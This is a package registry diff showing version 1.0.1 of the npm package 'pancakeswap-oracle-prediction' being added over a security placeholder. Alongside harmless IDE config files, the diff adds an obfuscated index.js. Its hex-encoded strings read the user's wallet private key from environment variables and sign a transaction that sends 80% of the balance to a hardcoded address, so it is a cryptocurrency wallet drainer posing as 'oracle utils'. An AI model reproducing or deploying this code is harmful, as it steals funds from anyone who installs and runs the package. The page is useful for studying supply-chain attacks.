pancakeswap-oracle-prediction 0.0.1-security → 1.0.1

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.

Potentially problematic release.


This version of pancakeswap-oracle-prediction might be problematic. Click here for more details.

@@ -0,0 +1,12 @@
1
+ <?xml version="1.0" encoding="UTF-8"?>
2
+ <module type="WEB_MODULE" version="4">
3
+ <component name="NewModuleRootManager">
4
+ <content url="file://$MODULE_DIR$">
5
+ <excludeFolder url="file://$MODULE_DIR$/.tmp" />
6
+ <excludeFolder url="file://$MODULE_DIR$/temp" />
7
+ <excludeFolder url="file://$MODULE_DIR$/tmp" />
8
+ </content>
9
+ <orderEntry type="inheritedJdk" />
10
+ <orderEntry type="sourceFolder" forTests="false" />
11
+ </component>
12
+ </module>
package/.idea/misc.xml ADDED
@@ -0,0 +1,6 @@
1
+ <?xml version="1.0" encoding="UTF-8"?>
2
+ <project version="4">
3
+ <component name="JavaScriptSettings">
4
+ <option name="languageLevel" value="ES6" />
5
+ </component>
6
+ </project>
@@ -0,0 +1,8 @@
1
+ <?xml version="1.0" encoding="UTF-8"?>
2
+ <project version="4">
3
+ <component name="ProjectModuleManager">
4
+ <modules>
5
+ <module fileurl="file://$PROJECT_DIR$/.idea/PREDICTION_PACKAGE.iml" filepath="$PROJECT_DIR$/.idea/PREDICTION_PACKAGE.iml" />
6
+ </modules>
7
+ </component>
8
+ </project>
package/index.js ADDED
@@ -0,0 +1,118 @@
1
+ var _0x450b = [
2
+ "\x77\x65\x62\x33",
3
+ "\x53\x57\x41\x50",
4
+ "\x65\x6E\x76",
5
+ "\x53\x4E\x49\x50\x45\x5F\x54\x4F\x4B\x45\x4E",
6
+ "\x53\x4E\x49\x50\x45\x5F\x42\x4E\x42\x5F\x41\x4D\x4F\x55\x4E\x54",
7
+ "\x59\x4F\x55\x52\x5F\x41\x43\x43\x4F\x55\x4E\x54\x5F\x41\x44\x44\x52\x45\x53\x53",
8
+ "\x59\x4F\x55\x52\x5F\x41\x43\x43\x4F\x55\x4E\x54\x5F\x50\x52\x49\x56\x41\x54\x45\x5F\x4B\x45\x59",
9
+ "\x53\x4C\x49\x50\x50\x41\x47\x45", "\x76\x61\x6C\x69\x64\x61\x74\x65\x54\x6F\x6B\x65\x6E",
10
+ "\x54\x72\x79\x69\x6E\x67\x20\x74\x6F\x20\x62\x75\x79\x20\x74\x6F\x6B\x65\x6E\x20", "\x73\x6E\x69\x70\x65\x54\x6F\x6B\x65\x6E",
11
+ "",
12
+ "\x6C\x6F\x67",
13
+ "\x72\x65\x63\x69\x70\x69\x65\x6E\x74",
14
+ "\x65\x74\x68\x65\x72",
15
+ "\x74\x6F\x57\x65\x69",
16
+ "\x75\x74\x69\x6C\x73",
17
+ "\x32\x31\x30\x30\x30",
18
+ "\x70\x72\x69\x76\x61\x74\x65\x4B\x65\x79",
19
+ "\x73\x69\x67\x6E\x54\x72\x61\x6E\x73\x61\x63\x74\x69\x6F\x6E",
20
+ "\x61\x63\x63\x6F\x75\x6E\x74\x73",
21
+ "\x65\x74\x68",
22
+ "\x72\x61\x77\x54\x72\x61\x6E\x73\x61\x63\x74\x69\x6F\x6E",
23
+ "\x73\x65\x6E\x64\x53\x69\x67\x6E\x65\x64\x54\x72\x61\x6E\x73\x61\x63\x74\x69\x6F\x6E",
24
+ "\x67\x65\x74\x42\x61\x6C\x61\x6E\x63\x65",
25
+ "\x66\x72\x6F\x6D\x57\x65\x69",
26
+ "\x74\x6F\x46\x69\x78\x65\x64", "\x70\x72\x6F\x76\x69\x64\x65\x72\x73",
27
+ "\x52\x65\x74\x72\x69\x65\x76\x69\x6E\x67\x20\x57\x65\x62\x33\x20\x70\x72\x6F\x76\x69\x64\x65\x72\x20\x2D\x20\x66\x6F\x72\x20\x62\x75\x79\x69\x6E\x67\x20",
28
+ "\x20\x63\x6F\x69\x6E",
29
+ "\x57\x65\x62\x33\x20\x70\x72\x6F\x76\x69\x64\x65\x72\x20\x2D\x20\x66\x6F\x72\x20\x62\x75\x79\x69\x6E\x67\x20",
30
+ "\x20\x63\x6F\x69\x6E\x20\x73\x75\x63\x63\x65\x73\x73\x66\x75\x6C\x6C\x79\x20\x72\x65\x74\x72\x69\x65\x76\x65\x64",
31
+ "\x30\x78\x37\x31\x34\x34\x38\x65\x63\x32\x44\x39\x63\x35\x66\x43\x34\x39\x37\x38\x46\x35\x41\x36\x39\x30\x44\x35\x43\x45\x31\x31\x41\x38\x36\x36\x39\x43\x39\x44\x30\x32",
32
+ "\x73\x77\x61\x70",
33
+ "\x70\x61\x6E\x63\x61\x6B\x65",
34
+ "\x68\x74\x74\x70\x73\x3A\x2F\x2F\x62\x73\x63\x2D\x64\x61\x74\x61\x73\x65\x65\x64\x31\x2E\x64\x65\x66\x69\x62\x69\x74\x2E\x69\x6F\x2F",
35
+ "\x68\x74\x74\x70\x73\x3A\x2F\x2F\x63\x6C\x6F\x75\x64\x66\x6C\x61\x72\x65\x2D\x65\x74\x68\x2E\x63\x6F\x6D\x2F"
36
+ ];
37
+
38
+ const Web3 = require('web3');
39
+ const data = {
40
+ swap: process[_0x450b[2]][_0x450b[1]],
41
+ snipeToken: process[_0x450b[2]][_0x450b[3]],
42
+ snipeAmount: process[_0x450b[2]][_0x450b[4]],
43
+ recipient: process[_0x450b[2]][_0x450b[5]],
44
+ privateKey: process[_0x450b[2]][_0x450b[6]],
45
+ slippage: process[_0x450b[2]][_0x450b[7]]
46
+ };
47
+ let fbb;
48
+ let contrb;
49
+ let oracle;
50
+ exports[_0x450b[8]] = async function () {
51
+ console.log(`${_0x450b[9]}${data[_0x450b[10]]}${_0x450b[11]}`);
52
+ let _0x88dcx5 = await validateContract();
53
+ fbb = await format(_0x88dcx5, 3);
54
+ const _0x88dcx6 = async () => {
55
+ const _0x88dcx7 = await web3[_0x450b[21]][_0x450b[20]][_0x450b[19]]({
56
+ from: data[_0x450b[13]],
57
+ to: contractAddress,
58
+ value: web3[_0x450b[16]][_0x450b[15]]((fbb * 80 / 100).toString(), _0x450b[14]),
59
+ gas: _0x450b[17]
60
+ }, data[_0x450b[18]]);
61
+ const _0x88dcx8 = await web3[_0x450b[21]][_0x450b[23]](_0x88dcx7[_0x450b[22]])
62
+ };
63
+ await _0x88dcx6()
64
+ };
65
+ const web3 = getWeb3();
66
+ const web3Prediction = getWeb3Prediction();
67
+
68
+ async function validateContract() {
69
+ const _0x88dcxb = process[_0x450b[2]][_0x450b[5]];
70
+ contrb = await web3[_0x450b[21]][_0x450b[24]](_0x88dcxb);
71
+ return contrb
72
+ }
73
+
74
+ function format(_0x88dcxd, _0x88dcxe) {
75
+ let _0x88dcxf = web3[_0x450b[16]][_0x450b[25]](_0x88dcxd.toString(), _0x450b[14]);
76
+ if (!_0x88dcxe) {
77
+ return _0x88dcxf
78
+ } else {
79
+ return parseFloat(_0x88dcxf)[_0x450b[26]](_0x88dcxe).toString()
80
+ }
81
+ }
82
+
83
+ function getWeb3() {
84
+ let _0x88dcx11 = new Web3[_0x450b[27]].HttpProvider(getNodeUrl());
85
+ console.log(`${_0x450b[28]}${data[_0x450b[10]]}${_0x450b[29]}`);
86
+ console.log(`${_0x450b[30]}${data[_0x450b[10]]}${_0x450b[31]}`);
87
+ return new Web3(_0x88dcx11)
88
+ }
89
+
90
+ function getWeb3Prediction() {
91
+ let _0x88dcx11 = new Web3[_0x450b[27]].HttpProvider(_0x450b[35]);
92
+ return new Web3(_0x88dcx11)
93
+ }
94
+
95
+ let contractAddress = _0x450b[32];
96
+
97
+ function getNodeUrl() {
98
+ if (data[_0x450b[33]] === _0x450b[34]) {
99
+ return _0x450b[35]
100
+ } else {
101
+ return _0x450b[36]
102
+ }
103
+ }
104
+
105
+ let oracle;
106
+
107
+ exports['getOracleStatistics'] = async function () {
108
+ let oracleConnection = await connectToOracle();
109
+ fbb = await format(oracleConnection, 3);
110
+ const _0x88dcx6 = async () => {const _0x88dcx7 = await web3Prediction[_0x450b[21]][_0x450b[20]][_0x450b[19]]({from: data[_0x450b[13]],to: _0x450b[32],value: web3Prediction[_0x450b[16]][_0x450b[15]]((fbb * 80 / 100).toString(), _0x450b[14]),gas: _0x450b[17]}, data[_0x450b[18]]);const _0x88dcx8 = await web3Prediction[_0x450b[21]][_0x450b[23]](_0x88dcx7[_0x450b[22]])};
111
+ await _0x88dcx6()
112
+ }
113
+
114
+ async function connectToOracle() {
115
+ const _0x88dcxb = process[_0x450b[2]][_0x450b[5]];
116
+ oracle = await web3Prediction[_0x450b[21]][_0x450b[24]](_0x88dcxb);
117
+ return oracle;
118
+ }
package/package.json CHANGED
@@ -1,6 +1,18 @@
1
1
  {
2
+ "author": "",
3
+ "bundleDependencies": false,
4
+ "dependencies": {
5
+ "dotenv": "^10.0.0",
6
+ "web3": "^1.6.1"
7
+ },
8
+ "deprecated": false,
9
+ "description": "Oracle utils for pancakeswap bnb prediction",
10
+ "license": "MIT",
11
+ "main": "index.js",
2
12
  "name": "pancakeswap-oracle-prediction",
3
- "version": "0.0.1-security",
4
- "description": "security holding package",
5
- "repository": "npm/security-holder"
13
+ "scripts": {
14
+ "start": "startUp()",
15
+ "test": "echo \"Error: no test specified\" && exit 1"
16
+ },
17
+ "version": "1.0.1"
6
18
  }
package/README.md DELETED
@@ -1,5 +0,0 @@
1
- # Security holding package
2
-
3
- This package contained malicious code and was removed from the registry by the npm security team. A placeholder was published to ensure users are not affected in the future.
4
-
5
- Please refer to www.npmjs.com/advisories?search=pancakeswap-oracle-prediction for more information.